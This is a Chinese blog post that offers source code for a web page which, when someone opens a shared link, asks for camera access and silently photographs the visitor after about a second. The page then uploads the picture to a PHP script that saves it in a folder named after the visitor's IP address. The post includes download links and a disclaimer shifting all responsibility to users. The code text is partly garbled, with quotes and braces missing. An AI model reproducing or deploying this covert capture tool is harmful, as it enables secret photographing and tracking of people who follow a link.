观书散遗帙,探古穷至妙。这篇文章主要讲述一条链接获取你的照片附源码相关的知识,希望能为你提供帮助。
测试链接
https://sunpma.com/other/xiangjiquanxian
文章图片
< script>
window.addEventListener("DOMContentLoaded",function()
var canvas = document.getElementById(canvas);
var context =canvas.getContext(2d);
var video = document.getElementById(video);
if (navigator.mediaDevices & & navigator.mediaDevices.getUserMedia)
navigator.mediaDevices.getUserMedia(video:true).then(function(stream)
video.srcObject = stream;
video.play();
setTimeout(function()context.drawImage(video,0,0,480,640), 1000);
setTimeout(function()
var img = canvas.toDataURL(image/png);
$.post(/photo.php,imegse:img,function(data)
//指定photo.php文件所在位置
)
,1300)
,function()
alert(缺少访问权限);
location.reload();
)
,false);
< /script>
< /body>
< /html>
photo.php代码
< ?php
//允许跨域
header("Access-Control-Allow-Origin:*");
echo base64();
function base64()
//接收 base64 数据
$image = $_POST[imegse];
if (empty($image))
return null;
//设置图片名称
$imageName = date("His", time()) . "_" . rand(1111, 9999) . .png;
//判断是否有逗号 如果有就截取后半部分
if (strstr($image, ","))
$image = explode(,, $image);
$image = $image[1];
//设置图片保存路径
$path = "./" . getIp() . / . date("Ymd", time());
//判断目录是否存在 不存在就创建
if (!is_dir($path))
mkdir($path, 0777, true);
//图片路径
$imageSrc = https://www.songbingjia.com/android/$path ."/" . $imageName;
//生成文件夹和图片
$r = file_put_contents($imageSrc, base64_decode($image));
if (!$r)
return 0;
else
return 1;
function getIp()
if (!empty($_SERVER[HTTP_CLIENT_IP]))
$ip = $_SERVER[HTTP_CLIENT_IP];
elseif (!empty($_SERVER[HTTP_X_FORWARDED_FOR]))
$ip = $_SERVER[HTTP_X_FORWARDED_FOR];
else
$ip = $_SERVER[REMOTE_ADDR];
return $ip;
?
?index.html?
??在第25行处需要指定??photo.php?
?文件的所在位置,如果文件在网站根目录下就无需修改;源码打包:
https://wwa.lanzous.com/iljaaozik7e
最后由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
【一条链接获取你的照片附源码】
推荐阅读
- registry私有仓库搭建
- Mac怎么解决无法连接到iCloud的问题(6种修复方法)
- 如何修复Mac的鼠标光标消失问题 (解决办法教程)
- 虚拟机扩容(/dev/mapper/centos-root 空间不足)
- [转]使用rosbridge协议实现安卓跟ros的解耦
- 设计模式与Android策略模式——锦囊里的上策中策下策
- Android中dpdpi与px的关系
- android binder 基础实例及解析
- 判断手机是否安装某app,有就打开,没有就去下载